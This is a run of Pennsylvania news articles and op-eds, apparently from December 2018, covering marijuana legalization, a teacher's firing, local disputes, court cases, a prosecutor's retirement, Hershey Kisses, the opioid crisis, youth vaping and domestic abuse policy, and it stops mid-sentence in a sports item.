Wolf said. ... Im just trying to be a realist, that this is something that we really ought to be taking a look at in a way that maybe we havent before. Wolf also said he doesnt intend to make the issue an immediate, personal priority of his second term. Im just saying Im going to look at whats going on in the neighboring states and see if we can continue to learn from them and other states that have, through referendum and legislative action, legalized it, and see what maybe we ought to be doing. Im just keeping my eyes open," Wolf said. But we just cant duck our heads into the sand and say things arent happening" on this issue in other states in the region. New York Gov. Andrew Cuomo has slowly thrown his support behind the issue and has pledged to push to legalize and regulate recreational use of marijuana in early 2019. With Democrats in control of that states legislature, observers feel the issue has a real shot to pass there. In New Jersey, meanwhile, supporters of legalizing recreational marijuana use appear to have the strength to pass a bill if they can agree on tangential issues like how much to tax it. The biggest modulation for Wolf this week was his declared willingness to entertain a public debate on the issue. The governor did acknowledge Thursday that the tone of his recent Tweet was different than his past statements on the issue, including on the campaign trail this fall. At this point Im not ready to sign or promote legislation that legalizes it, Wolf told the PennLive editorial board during a mid-campaign interview in October. But the reality is that the rest of Wolfs tweet tracked very closely to his October remarks. Wolf told the editorial board he wants to see what the experiences are of the states that now number nine plus District of Columbia that have legalized recreational marijuana. He noted each seems to be approaching it in different ways, how they tax it, how they regulate it. I think we can learn a lot from that, he said. Itd be very prudent to see what their experiences are. In his latest tweet, Wolf wrote: More and more states are successfully implementing marijuana legislation, and we need to keep learning from their efforts. Based on Wolfs comments, it sounds like the real impetus on this issue for now is going to have to come from the Republican-controlled General Assembly, much as it did during the governors first term on issues like liberalizing Pennsylvanias wine and beer sales, or expanding legal gambling. On both of those issues, the impetus or initial proposal to get them done came from the legislature. Wolf was involved in final stage negotiations, and ultimately signed the bills. But he was not the major champion of the changes from the start. The General Assembly did send Wolf a medical marijuana bill in 2016, which he signed into law. That program has been operational across the state for nearly a year. To this point, however, those Republican majorities have shown little interest in going much further on marijuana in an era where a major focus has been on controlling access to and responding to the over-use and abuse of opiods and other illegal narcotics. SHAMOKIN - The bishop of the Harrisburg Diocese has denied the appeal of the unwed, pregnant teacher who was fired from a Catholic school in Northumberland County. Bishop Ronald Gainer of the Diocese of Harrisburg The diocese, claiming it is a personnel matter, refused to release the contents of the letter Bishop Ronald W. Gainer Wednesday sent to teacher Naiad Reich. The English teacher at Our Lady of Lourdes Regional School in Coal Twp. outside Shamokin was fired Dec. 7 for violating what is commonly known as the morality clause. She had announced she was pregnant and had no immediate plans to marry the father with whom she is living. School board member Tony Varano, who supports Reich, said Thursday the bishop in his letter did not address her situation specifically but cited the mission and policies of the Catholic Church. The letter stated teachers must be role models and adhere to the teachings of the church as spelled out in their contracts, he said. Reich was very upset when she received it, Varano said. She had provided Gainer with letters and copy of texts citing support from parents and students, he said. It is her choice to make, but Varano said he recommends Reich retain an attorney because he believes her termination violated state and federal laws. Reich taught in the 8th, 10th and 11th grades. Varano, through his attorney, had sent a letter to the bishop stating that opinion. An alumnus and a major contributor to the school said he believes his rights as a school board member might have been violated. The board was not consulted before Reich was fired, he said. Varano has maintained there would be few teachers remaining at Our Lady of Lourdes if the morality clause was followed to the letter. He contends Reich was singled out. The 16 board members except for the three priests and two nuns have voiced support for Reich, said Varano, who lives in Berwyn. "She's a very good teacher," he said. He has expressed concern the Reich controversy could affect vital contributions to the school, which is pre-kindergarten through 12th grade. Derry Township residents on Tuesday evening told supervisors they are unhappy with aspects of the utility pole replacement project along Forest Avenue. PPL Electric Utilities Corp. is in the process of replacing 40-foot poles with three wire lines that run through homeowners front yards on Forest Avenue, which sits adjacent to the Hershey Medical Center. In mid-October, homeowners saw 70-foot poles with eight wire lines appear at the end of the street, according to Forest Avenue resident Thomas Fowlston. Homeowners had been told in July that the 40-foot poles needed to be replaced due to age. Fowlston said in an email that the streets residents were alarmed by the change in size and the amount of wires; he said homeowners were particularly disappointed with PPLs lack of communication regarding the change. Fowlston also he and others are worried about the poles impact on the value of the streets homes as well as possible health concerns with living under high-tension wires. He estimated a possible decrease in home value to be between 10 and 20 percent. Fowlston also took issue with the rusty coating of the poles and their cross members, which hang 4 feet over the street. He instead suggested that the power lines be placed underground for the length of the street. Steve King, a Forest Avenue homeowner, thanked the board at Tuesdays meeting for their support. Thank you for going to bat for us as much as youre able to, he said. King said one area of the street is prone to water accumulation from heavy rains, and said hes worried that the trenches PPL has dug in the ground for the replacement could worsen the situation if not filled correctly. King said a discussion about the poles was held Thursday with the medical center. He requested that the board facilitate further communication between PPL, the Hershey Medical Center and residents about the concerns associated with the project. Another resident said the streets homeowners will be filing a complaint against PPL, and asked the board of supervisors to do the same. Township Manager Christopher Christman said he plans to meet with PPL to address the homeowners complaints. He will be convening a meeting on the issue on at 8:30 p.m. Jan. 23. WILLIAMSPORT - A former Clinton County chief public defender has been placed on five years' probation, fined $200 and directed to undergo a mental health evaluation. Stephen Chadwick Smith, 68, of Lock Haven, was sentenced Wednesday by Lycoming County Judge Marc F. Lovecchio on charges related to a 13-mile police chase in 2017 during which speeds exceeded 100 miles an hour. Smith in September pleaded no contest to charges of recklessly endangering, fleeing or eluding police and a several traffic violations. He said then he believes the allegations against him are correct but due to a traumatic brain injury he has memory issues. The incident occurred April 7, 2017, after authorities in Clinton County had issued a "be on the lookout" for Smith, claiming he might be armed and suicidal. Smith denied he ever thought of committing suicide. South Williamsport police spotted Smith driving his Porsch and followed him until other units arrived because there was concern he might try to commit suicide. Smith crossed the Susquehanna River into Williamsport and headed west on Interstate 180 at a high rate of speed, ignoring police units that were behind him with emergency lights and siren activated. Because he refused to stop, Tiadaghton Regional Police were asked to deploy stop sticks on Route 220 in the vicinity of Route 287. The stop sticks damaged the tires, but police said Smith continued at a high speed toward Jersey Shore until his car hit the guiderail and crossed the four-lane highway, where it struck that guiderail before coming to rest in the grass median. Lovecchio's sentence also requires Smith to perform 100 hours of community service and immediately surrender his driver's license. He has been undergoing counseling. Eight months after a federal jury found the Pennsylvania Human Relations Commission had committed racial discrimination, a former executive director is accusing the agency of sex discrimination. Joann Edwards, who was removed as the commissions executive director this past January, claims in a lawsuit that she was discriminated against for being a woman, a lesbian and white. Chad Lassiter, the commission executive director who succeeded Edwards, declined comment on her suit Thursday. He said the agency cant comment on pending litigation. The Edwards suit and the jurys $150,000 verdict on the race discrimination case present some ironic circumstances since the commission is charged with acting against all types of discrimination in the state. Edwards, a Lebanon County resident, filed her suit in U.S. Middle District Court in Harrisburg. She was hired to lead the agency in July 2011 and fired this past January. One member of the commissions 11-member board, Gerald Robinson, who is black, made comments that Edwards was running an all-white girls club, her suit states. Commission members also complained that she hired too many white people and that the agency staff lacked diversity, Edwards contends. Those statements were false and were intended to create a hostile work environment, she claims. Things became worse when she married her female partner in December 2014, Edwards contends. The realization that she is a lesbian resulted in her being treated in a negative manner by other members of the commission, her suit states. She claims she was suddenly excluded from important meetings, her authority over the staff was curtailed and she was subjected to unjustified criticism from commission members during public sessions. Members of the commission, without basis or justification, began yelling at (her) and treated her with disrespect, Edwards contends. Also, she accuses Robinson of making statements questioning whether members of the LGBT community and women in general deserved protection from discrimination since these groups never had to go through what blacks experienced. Yet, Edwards insists, no action was taken when she reported the supposed abuse to the commissions human relations department. Instead, she claims that on Jan. 12 she was given 10 minutes to decide whether she wanted to resign or be fired. The real reason she was terminated was because of gender stereotyping discrimination, her suit states. She accuses the commission of violating state and federal non-discrimination laws and seeks unspecified financial damages. The racial discrimination case the commission lost through the federal jurys ruling in April was filed by a black man who claimed he should have been hired as executive director instead of Edwards. Kevin Kaaba Brunson, a 39-year veteran of the commission, claimed he was the most qualified of the 2011 candidates for that job. Earlier this month a federal judge gave the commission 60 days to pay the $150,000 award to Brunson, plus another $108,000 for his legal fees and other costs. The new 243,000-square-foot federal courthouse at Sixth and Reily streets should be built by Harrisburg contractors, local workers and leaders told Harrisburg City Council members. Mascaro Construction Company, of Pittsburgh, the projects general contractor, recently told council that a majority of construction contracts for the $192.7 million General Services Administration project have already been awarded to out-of-town contractors. The representative, who shared that information earlier this month, wasnt specific about who received the contracts. Harrisburg attorney Irwin Aronson said his clients The Central Pennsylvania Building Construction and Trades Council and the Harrisburg Regional Central Labor Council will pay the taxes to finance the new courthouse. Those taxes are being used to pay out-of-town contractors and out-of-town workers, to steal our pay and to steal our jobs, he said. Wages that will be paid throughout the duration of the project are family sustaining, he added. Contractors who build the courthouse gain both workforce development and experience desired by skilled workers. Demand that they use local folks, demand that they use local contractors, demand they use minority-owned and women-owned businesses, and demand that they use well-trained people to do this work, Aronson said. The 223-foot tall building is in the design phase, General Services Administration representative Gary Zimmerman told council members earlier this month. The project has been percolating for the past 10 years because it didnt have funding. Congress allocated its funding in March. Williams said at councils Tuesday night meeting that she and council members agreed not to vote to approve the projects preliminary land development plan. Council understands that the lack of a vote doesnt stop the projects forward progress; rather, its a symbolic gesture that Harrisburg isnt supporting it. Mayor Eric Papensfuse suggested council vote it down because not voting on the plans didnt change anything. Brandon Flood, with the states general services department, said the state conducted a disparity study that analyzed utilization of minority-owned and women-owned businesses. It was published Oct. 31, he said. It reveals, he said, that small diverse business, minority owned businesses are vastly underutilized. He explained the study evaluated both a construction companys availability as well as its capacity to do the work. It is unfair, it is immoral, in this city where there is a 33 percent poverty rate, for the federal government to come in and build the courthouse without using local labor, said the Rev. Frank E. Hairston-Allen, Harrisburg NAACP president. He said the moral consequences of not using black, brown, green or white local workers is a deprivation for the City of Harrisburg. This is our city, it is our labor, and it is our money, and we have to look at it that way, he said. This is only the beginning, not the end, and the fight is on. Dauphin County Commissioner George Hartwick called for social justice, acknowledging the city doesnt have much leverage. He told council to send a message to the feds that "we dont want you here unless you are going to employ folks who are from here. He concluded, Dauphin County should be seeing economic results with this project. Its about time we see our own folks employed here. Hershey Kisses are missing their tips and its leaving a bitter taste in the mouths of some bakers. In a story that has gained national attention, holiday bakers have sounded off about buying Hershey Kisses only to find that some of the tips had been broken off of the chocolate morsels. Media outlets such as People, Business Insider and Fox News have picked up on the story. The Hershey Co. has issued a response. A spokesman said the company is working to make cuter Kisses. We love our Kisses as much as our consumers," Jeff Beckman, a Hershey spokesman, said in a statement Thursday. We make more than 70 million Kisses a day here in Hershey, Pa., and we want each of them looking as great as they taste. The iconic, conical shape is one of the reasons families have loved Kisses for generations," Beckman said. "We shape the tip on our classic, solid Milk and Dark Chocolate Kisses to create that iconic appearance. And while there has always been some variability in that process, we are working to improve the appearance because its as important to us as it is to our fans. The company statement didnt outline the reason for the missing tips. In an effort to smooth things over with consumers disappointed by faulty Kisses, company officials may be issuing coupons to those who complained, Beckman said. That is the companys regular practice in cases of dissatisfied customers, he said. Complaints about tips missing from Hershey Kisses are still being received, Beckman said, but he said it isnt an overwhelming number. In the context of the thousands of consumer inquiries we receive every month, the number of inquiries (about broken Kisses) have been very small, Beckman said. Beckmans comments come about a week after it was initially reported that bakers were bummed about the missing tips. The bakers rely on well-formed Kisses for holiday cookies, such as peanut butter blossoms, and they are concerned the treats will not look as good with the broken tops. On Wednesday, Hershey officials took to social media with an advertising campaign that encouraged consumers to embrace the broken Kisses. The ad includes a photo of a variety of Kisses, some with their tops missing. It also includes the message: Warm hearts this holiday season and take the time to celebrate our differences. In the meantime, those disappointed Kisses-buyers are continuing to sound off on social media, posting photos of the damaged chocolates, which also have attracted widespread attention from news media. The top photo shows perfect Hershey kisses adorning peanut butter blossoms. The bottom photo shows kisses with broken tops, from a bag of candy purchased by PennLive Dec. 15, 2018. In 2012, PennLive reported on the expansion of Hersheys West Hershey chocolate plant, and, in the reporting, Kisses manufacturing and quality control were mentioned. Production lines were designed so that Kisses, with even slight imperfections would topple off instead of heading to distribution. The goal was to produce picture-perfect Kisses, as Hershey looked to market the sweets both domestically and internationally. And at that time, Hershey officials used distribution in Japan as an example. In Japan, for example, people savor the small portion of the Kiss as well at the unwrapping process, its visual appeal and the feel as it rolls inside the mouth, PennLive reported. The Japanese, Hershey found, would return half a bag of Kisses after finding tiny nicks or flaws. After earning a college degree in history and working in politics for four years, Johnny Baer went to law school with thoughts of getting hired at a prestigious law firm in a towering office. But in his second-year of law school, he got an internship at the Dauphin County District Attorneys office in Harrisburg. As a certified legal intern, he handled some low-level cases. I got a taste of the courtroom work and I fell in love with the place, Baer said. I found something I loved right from the door. Baer joined the district attorneys office in 2005, right after passing the bar exam, and has been going toe-to-toe with suspected killers for most of his career. Hes brought about 50 murder cases to trial, in addition to negotiating dozens of additional guilty-pleas and assisting police with unsolved homicides. After 13 years in the office, and 11 years as the homicide coordinator, however, Baer is leaving the D.A.s office. His last day is Dec. 28. He is moving to the violent crimes division of the local U.S. Attorneys office where he will serve as an assistant U.S. Attorney starting Jan. 7. This is a loss, said District Attorney Fran Chardo. Johnny has been a tremendous asset to this office. He was dedicated to achieving justice for the families of homicide victims. And he used his remarkable skills to help obtain that justice in this Courthouse. But I also got to see what the public did notthe empathy as he sat with those families in private conference rooms before and after trials. Baer, who lives in the city of Harrisburg, had a knack for handling difficult cases with difficult witnesses, co-workers said. Over the years, a witness who didnt want to testify double-flipped him off from the stand, a 12-year-old shooting victim told him to go (blank) himself and a suspect insulted him from the stand. He wasnt afraid to deal with the toughest individuals on the street and work to get justice for victims' families," said Dauphin County Judge Ed Marsico, the former district attorney who hired Baer. A lot of different prosecutors gravitate to different kinds of cases. He gravitated to murders. Baer prosecuted his final homicide case in the Dauphin County Courthouse last week, where he had to overcome questions about cooperating witnesses credibility to win a second-degree murder conviction against the suspected triggerman who killed Kodi Flanagan, 22, last year. Defense attorney Kristen Weisenberger, pounded away at a series of inconsistencies from witnesses and co-defendants in her closing argument for her client, Sidney Michaels. She noted specifically how statements to police by two co-defendants changed. How are we supposed to determine whos lying at what time? she said. When it was Baers turn, he stood up, and casually buttoned his jacket as he approached the jury. Oftentimes, victims become faceless background noise, Baer said. What you did get to hear is the unfavorable stuff. But Flanagan was a son, and a father, Baer said. He was loved and he deserves protection from the law just like anyone else. There is no exception in the crimes code for killing a drug dealer, Baer said. Baer always took the time to remind juries about the value and humanity of victims, according to longtime court watchers. That was an essential part of his closing arguments. Then Baer tackled head-on the defense attorneys allegations that the witnesses could not be trusted. He said witnesses often dont spill the full truth immediately. It can take some coaxing. These kids, and they are kids, theyre not the most sophisticated or educated, he said. They are young people going through profoundly traumatic events. The reality is, it takes time and it takes work and that is what happens here. This is no different than 99 percent of the cases here. While there may be some inconsistencies, Baer said, the 'big stuff' remains the same. Is there any question Sadia set him up to be robbed? Baer said. "Is there any question it was Sidney Michaels and Dylan Beard who showed up to do it? The rest of it is nitpicking. The jury deliberated about an hour before issuing a conviction. The thing Ive found to be effective for me is to be myself in front of the jury, Baer said. Doing the type of cases I do, its important to communicate conversationallyIt may come off as casual or cavalier but its effective. Baer still remembers the first homicide case he ever tried, a killing believed to have stemmed from the theft of marijuana. The victim was lured to an alley and ambushed, Baer said It was a tough case, Baer said. I remember thinking, it could go either way. The jury deliberated for four or five hours, then issued a guilty verdict for first-degree murder. Baer successfully prosecuted the suspected killers of the Harrisburg police chiefs nephew (a senseless shooting over a dirty look,) and the City Council presidents granddaughter (an innocent bystander in a drive-by shooting.) Another case Baer said he cant forget is the killing of a nursing student from India, who came to Harrisburg to study at the community college. He worked at the City Gas station at 15th and State streets and had filled in a night shift for a friend. Hitender Thakur, 23, could have stayed safe behind the protective glass, but felt it sent the wrong message to the community, so he liked to keep the counter window open, Baer said. As it turned out, thats how an armed robber was able to shoot him. Video surveillance showed the killer climb over the counter and stuff cash into a bag as Thakur lay dying on the floor. Years after the shocking death, police charged a suspect. Baer won a conviction at trial. One of Baers more controversial cases came after the district attorney decided to charge a Hummelstown police officer with murder after she shot a man in the back twice after he fled a traffic stop. Thats the one case people still want to talk about, Baer said. When we charged her, it made national news. Lisa Mearkle already represented a polarizing figure in Hummelstown prior to the February 2015 shooting, Baer said. Some people liked how she policed the town but others did not. It was a tough time for us here because it really divided the law enforcement community, he said. Some people felt strongly that she should not be charged. People I counted as friends, to this day, no longer speak to me. It was the toughest thing Ive had to do here. Mearkle testified in her own defense and said she feared for her life after 59-year-old David Kassick refused to show his hands. The jury found her not guilty of murder. In retrospect, Baer said the murder charge may have been too ambitious. A manslaughter charge may have been less of a climb for a Central Pa. jury, where people broadly support police officers. But maybe there was no set of circumstances where a jury would have convicted her, he said. The victim was on parole. He turned a simple traffic stop into a dangerous situation by fleeing and running. That was a challenge in many homicide cases, Baer said, if victims made choices that put themselves at risk. But it was a challenge he embraced. You just acknowledge it, and while they may have made a bad decision, it doesnt mean they deserved to be killed, Baer said. One of the reasons police detectives respected Baer so much was because he was unfazed by difficult cases, said Harrisburg Det. Richard Iachini. He was not afraid, Iachini said. He would accept cases for what they were and he made the best of it. In contrast to television shows, where killings are solved within an hour with video proof, DNA matches and solid eyewitnesses, homicides in Harrisburg often dont provide that. You dont always have an ideal hand, Iachini said. The prosecutors have an uphill battle." Iachini appreciated that Baer always took a moment before dismissing a witness on the stand to ask him if there was anything he had missed. Baer also made it a priority to keep victims families informed. He would explain all the options and possibilities to families, Iachini said, especially when plea deals were being considered Earlier this year, a case went to trial where the suspect planned to use a self-defense claim. The claim could be effective, Baer warned the family as they considered a plea deal. Did they want to risk the suspect walking free? In the end, the victims family wanted to take the risk and have the trial. The suspect was convicted of third-degree murder and served more time than he would have under the proposed plea deal. One of the best courtroom moments Iachini recalled with Baer was the delicate situation when he had to pick apart a grandmothers alibi of her grandson. The grandmother testified that she was absolutely certain that her grandson was at her home, helping her pack for a move, at the time of the killing. She remembered it clearly because it was snowing that day. Baer then illuminated a photo of the crime scene to jurors showing dry ground. You have to agree there isnt a flake of snow on the ground, Baer said to the grandmother. As difficult as that was to have to take down a grandma, Iachini said, He had to do it. Baers courtroom demeanor and skills have earned the respect of defense attorneys on the other side of the aisle. Hes smart. Hes good on his feet and hes a skilled trial lawyer, said Brian Perry, who has faced-off against Baer in several cases including the Lisa Mearkle case. He also has perspective, which is what I think I respect the most. He understands every case doesnt have to be World War IIIHe can size up a case and figure out an appropriate resolution and get to the bottom line. Perry said Baer was always straightforward and a worthy adversary. You knew it would be a fight, Perry said. But it would be a clean fight. Kristen Weisenberger, who challenged Baer in court last week for the murder case, previously worked with him in the district attorneys office. She said he had an unmatched work-ethic. If you stopped in the office on a Saturday, he was there, she said. During the week when the office cleared out at 4:30 p.m., hed still be there. He was reachable 24-7, she said. He was extremely dedicated and I think thats why everyone relied on him so much. He also was media-savvy and comfortable granting interviews with news reporters. (His father and grandfather both worked as news writers.) Iachini said Baer represented a rare combination of skills that will be hard to replace in Dauphin County. Baer was fearless, devoted, and effective at communicating with police, juries and families. He was so approachable, you might think he was flying by the seat of his pants" Iachini said, "but he always knew his case inside and out. He was always really well-prepared. Senior Deputy District Attorney Steven Zawisky, who previously handled some homicide cases, will be taking over as homicide coordinator in the office, Fran Chardo said. That role also will eventually be expanded into an ombudsman-type role where Zawisky will independently review different cases and evidence to improve operations, Chardo said. ATLANTIC CITY, N.J. With the Miss America competition itself searching for a new home, the battle for the future of entire storied institution has landed in court. Miss America board chair Gretchen Carlson and CEO Regina Hopper orchestrated an illegal and bad faith takeover of the Miss America Organization, imperiling the nearly 100-year institution, the lawsuit, a copy of which was sent to the Philadelphia Inquirer and Daily News, contends. FILE - In this April 25, 2017 file photo, Gretchen Carlson attends the TIME 100 Gala in New York. The Miss America Organization punished state pageant groups that revolted against the national leadership. In turn, they've sued Carlson and Miss America.Charles Sykes/Invision/AP Named as plaintiffs in the 35-page suit are four state organizations, including the Miss Pennsylvania Scholarship Organization, and ousted MAO board member Jennifer Vaden Barth, a former Miss North Carolina, who has been outspoken in her opposition to the current leadership of the organization. Vaden Barth organized a GoFundMe account that has raised more than $40,000 for the court effort. The iconic Atlantic City institution will no longer receive millions in subsidies from the state of New Jersey and has been shopping around its competition to other cities with a Request for Proposals seeking significant financial resources and other perks, including a comped Presidential Suite for Carlson, the former Fox News host and 1989 Miss America who took over the organization and has vowed to modernize it. Carlson and Hopper eliminated the swimsuit competition, which upset many of the more traditionalists who have been loyal to the organization. They further cut ties with several of the state organizations that spoke out against them, including New Jersey and Pennsylvania. The lawsuits other plaintiffs are the state organizations from Tennessee, West Virginia and Georgia. In the lawsuit, the plaintiffs accuse the leadership of mismanaging finances, misleading officials about the future of its telecast and disseminating blatant mistruths manipulating the rules and disregarding established laws, in addition to the bylaws of Miss America itself to suit their own personal purposes, and agendas, including Carlsons promotion of the #metoo movement. Carlson used the rules when it (was) convenient, and ignored them when it (was) an impediment, the lawsuit says. This is the first step in restoring the integrity and credibility of Miss America, which has been a cultural icon since 1921, Vaden Barth said in a statement. A second statement issued by a representative of the state pageant organizations said a temporary restraining order had been issued that would prevent further action against state organizations by the Miss America Organization. The lawsuit dates the current crises to the publication of now-infamous emails by the former leadership of Miss America disparaging former titleholders in vulgar and sexist terms. That led to the takeover by former Miss Americas, but it has been Carlson who has maintained the strongest grip on the struggling organization. By Amy S. Rosenberg, Philly.com (TNS) Nearly 120 animals were rescued Tuesday from a property in Centre County from a property owner who had a history of neglecting his animals, according to the Pennsylvania SPCA. The PSPCA posted about the rescue on Facebook, where they explained that 30 chickens, 22 sheep, 17 goats, 12 ducks, 11 geese, 7 mini horses, 4 mini donkeys, 3 potbellied pigs, 4 turkeys, 4 peacocks and an Alpaca were among the animals removed from the property. The animals were moved to the area after Jahjah Melhem, who used to run the now defunct Heaven on Earth Animal Sanctuary in Northampton County, moved them there from another property, according to the PSPCA. The search warrant for the property was executed over concern for the welfare of the animals due to a large number of violations in an existing court order, the PSPCA wrote. In August, Melhem was ordered by a judge to limit his animals to fewer than 100, and the PSPCA was given inspection rights. The PSPCA said one year ago, its law enforcement department executed a search warrant on the Heaven on Earth Animal Sanctuary, where two blind Alaskan malamute dogs were found covered in burrs and three goats were unable to stand due to foot rot. Other animals at the sanctuary were underweight, and 30 were seized from the property that day, the PSPCA said. The Northampton County property was inspected by the SPCA multiple times in 2018, as well as one additional property, and continued to seize animals during those visits. Melhem was evicted from the property, the PSPCA said, and the remaining animals were moved to the Centre County property that the SPCA searched Tuesday. The PSPCA filed 47 criminal charges, including two felonies, against Melhem. Online court documents show he was released on $5,000 unsecured bail on the charges. The PSPCA is asking for contributions to help aid in saving the lives of the animals seized from Melhems properties and any other similar situations. HARRISBURG Pennsylvanias governor says its time for the state to consider whether to legalize marijuana for recreational purposes. Democratic Gov. Tom Wolf made the comment Wednesday while answering questions from the public on Twitter. Wolf says "more and more states are successfully implementing marijuana legalization," and Pennsylvania should learn from their efforts. The governor says such a change will require action by the Republican-majority Legislature. Wolf's Twitter post says "it is time for Pennsylvania to take a serious and honest look at recreational marijuana." Wolf signed Pennsylvania's medical marijuana law in 2016 and has overseen its implementation. Possession or sale of marijuana for other purposes remains a crime in the state, although Philadelphia, Pittsburgh and several other Pennsylvania cities have decriminalized possession of small amounts. A new reporting tool is now available that allows medical professionals and the public to report suspicious activity involving prescribing or dispensing of prescription drugs. This tool, unveiled on Wednesday, allows for tips about suspected diversion or abuse of prescription drugs to be made anonymously to the Office of Attorney General through its website or through the states Prescription Drug Monitoring Program. Diversion activity is hard to identify and even harder to investigate, said Attorney General Josh Shapiro. This new reporting tool, which is available online to everyone, allows people to anonymously give our office detailed information about suspected diversion so we are better able to arrest and prosecute the criminals who are poisoning our communities for their own profit. While doctors and pharmacists are best situated to identify diversion activity, Shapiro said the public also can now access the tool and share information that they believe may be helpful to law enforcement. Examples he offered of information that may be worth reporting using this tool include seeing lots of prescription bottles from different doctors in a friend or family members home, seeing them take an excessive amount of pills, or seeing a friend or family member going to a lot of doctor appointments with frequency. Dr. Rachel Levine, the state health secretary, said additionally, the public might notice some potentially unscrupulous practices by a health care professional and now have a means to report that to the attorney generals office anonymously if they want to. It merges together the public health perspective and the law enforcement perspective, Levine said. This is the latest in Pennsylvanias ongoing effort to combat the opioid crisis that is claiming the lives of 15 Pennsylvanians every day in all corners of the commonwealth. At a Capitol news conference announcing this new tool, Shapiro, Gov. Tom Wolf and Levine shared signs of progress that have been made to deal with this epidemic. As measured through states drug monitoring database, doctor shopping when someone visits five or more physicians to obtain a controlled substance within three weeks has almost been brought to an end and prescriptions opioids are down 24 percent in two and a half years, Wolf said. The governor said he plans to renew for a fifth time on Friday another 90-day opioid disaster declaration that enables state agencies to collaborate on initiatives to address the opioid crisis. On the law enforcement front, Shapiro said since he took office two years ago, five drug dealers, on average, are arrested every day in the commonwealth. His office has destroyed over 88 tons of drugs in that same time span. HIs office is also among the attorneys general who are leading a national investigation of the pharmaceutical industry for its role in fueling the opioid crisis, which Shapiro hinted some developments about it could be announced in the coming months. Further, he said it has increased diversion arrests by 72 percent over the previous year, including filing charges last month against four people who diverted more than 17,000 pills through 264 fake prescriptions in three western Pennsylvania counties. These kinds of cases are very hard to identify and they are hard to investigate notwithstanding the additional support we now have to do that, Shapiro said. We know that theres more out there and we can do better. We need the publics help. We need the medical communitys help to do that. By Matthew Kelly I will never forget that moment when I found out one of my best friends started using the e-cigarette JUUL. I was in shock, because he was always very conscientious about his health. When he started, he tried to peer pressure my friends into trying it and he was -- unfortunately -- successful. The fact that he was trying to get other young kids addicted made me angry and I decided to do something about it - Ill get to that in a second. JUUL has affected me personally and those around me. There is not one day that goes by that you dont see somebody vaping, especially teenagers. Juuls are e-cigarettes, but much easier to hide. My classmates tell me they use it because they see their family members using e-cigarettes and think its okay, or that it tastes like candy or that they think its harmless. I tell them it isnt water vapor and it isnt harmless. Its crazy to me how so many of my friends - one in five high school students use e-cigarettes when they dont even fully understand what happens to their bodies when they vape. Heres another scary statistic. The Centers for Disease Control and Prevention recently announced that youth use of e-cigarettes has skyrocketed, showing a nearly 50 percent increase in the use of e-cigarettes by middle school students alone since 2017, leading the U.S. Surgeon General to issue the Advisory on E-Cigarette Use Among Youth. Thats why Im taking the lead with a youth-based organization called TRU (Tobacco Resistance Unit) to reach out to even more youth and educate teens like me about the dangers of using e-cigarettes, which can cause irreversible lung damage and lung disease, according to the American Lung Association. That organization is fighting to protect kids like me. TRU is a movement throughout all of Pennsylvania to help youth, ages 12 to 18, stay tobacco- and nicotine- free and aims to prevent and stop youth tobacco use through education. A statewide movement, TRU is managed by the Pennsylvania Alliance to Control Tobacco (PACT) and the American Lung Association in Pennsylvania. I know its probably not the coolest thing to do, but its up to all of us, to stand up and speak up about this epidemic. Looking back this past year I was proud to have joined the American Lung Association in Pennsylvania at Day at the Capitol in Harrisburg, where we met with lawmakers and called on them to take swift action to pass Tobacco 21 legislation. This bill would raise the tobacco sales age from 18 to 21 that includes e-cigarettes. I am happy to say that since our meeting with Pennsylvania leaders this past May, a co-sponsorship memo in the Senate has been introduced on this lifesaving legislation! Why is Tobacco 21 important? Well, because 18-year-olds go out and buy this stuff and sell it to my classmates, friends and kids even younger than me. This needs to stop and Tobacco 21 will help. I wont stand by and watch my friends, classmates and especially younger kids get hooked on and sick from smoking e-cigarettes. This year, what I really want for Christmas is for my friends to stop vaping. Matthew Kelly, 16, writes from Scranton. This piece was submitted on his behalf of the Eastern Division of the American Lung Association in Camp Hill. By Amber Heard I was exposed to abuse at a very young age. I knew certain things early on, without ever having to be told. I knew that men have the power- physically, socially and financially- and that a lot of institutions support that arrangement. I knew this long before I had the words to articulate it, and I bet you learned it young, too. Like many women, I had been harassed and sexually assaulted by the time I was of college age. But I kept quiet - I did not expect filing complaints to bring justice. And I didn't see myself as a victim. Then two years ago, I became a public figure representing domestic abuse, and I felt the full force of our culture's wrath for women who speak out. Friends and advisers told me I would never again work as an actress - that I would be blacklisted. A movie I was attached to recast my role. I had just shot a two-year campaign as the face of a global fashion brand, and the company dropped me. Questions arose as to whether I would be able to keep my role of Mera in the movies "Justice League" and "Aquaman." I had the rare vantage point of seeing, in real time, how institutions protect men accused of abuse. Imagine a powerful man as a ship, like the Titanic. That ship is a huge enterprise. When it strikes an iceberg, there are a lot of people on board desperate to patch up holes - not because they believe in or even care about the ship, but because their own fates depend on the enterprise. In recent years, the #MeToo movement has taught us about how power like this works, not just in Hollywood, but in all kinds of institutions - workplaces, places of worship or simply in particular communities. In every walk of life, women are confronting these men that are buoyed by social, economic and cultural power. And these institutions are beginning to change. We are in a transformative political moment. The president of our country has been accused by more than a dozen women of sexual misconduct, including assault and harassment. Outrage over his statements and behavior has energized a female-led opposition. #MeToo started a conversation about just how profoundly sexual violence affects women in every area of our lives. And last month, more women were elected to Congress than ever in our history, with a mandate to take women's issues seriously. Women's rage and determination to end sexual violence is turning into a political force. We have an opening now to bolster and build institutions protective of women. For starters, Congress can reauthorize and strengthen the Violence Against Women Act. First passed in 1994, the act is one of the most effective pieces of legislation enacted to fight domestic violence and sexual assault. It creates support systems for people who report abuse, and provides funding for rape crisis centers, legal assistance programs and other critical services. It improves responses by law enforcement, and it prohibits discrimination against LGBTQ survivors. Funding for the act expired in September, and has only been temporarily extended. We should continue to fight sexual assault on college campuses, while simultaneously insisting on fair processes for adjudicating complaints. Last month, Education Secretary Betsy DeVos proposed changes to Title IX rules governing the treatment of sexual harassment and assault in schools. While some changes would make the process for handling complaints more fair, others would weaken protections for sexual assault survivors. For example, the new rules would require schools to investigate only the most extreme complaints, and then only when they are made to designated officials. Women on campuses already have trouble coming forward about sexual violence - why would we allow institutions to scale back supports? I write this as a woman who had to change my phone number weekly because I was getting death threats. For months, I rarely left my apartment, and when I did, I was pursued by camera drones and photographers on foot, on motorcycles and in cars. Tabloid outlets that posted pictures of me spun them in a negative light. I felt as though I was on trial in the court of public opinion - and my life and livelihood depended on myriad judgments far beyond my control. I want to ensure that women who come forward to talk about violence receive more support. We are electing representatives who know how deeply we care about these issues. We can work together to demand changes to laws and rules and social norms - and to right the imbalances that have shaped our lives. Amber Heard is an actor and ambassador on womens rights at the American Civil Liberties Union. She wrote this piece for The Washington Post, where it first appeared. PITTSBURGH James Conner still isnt practicing. Hes walking OK. He can even jog a little, and did on Wednesday, he said. But basic running back activities arent 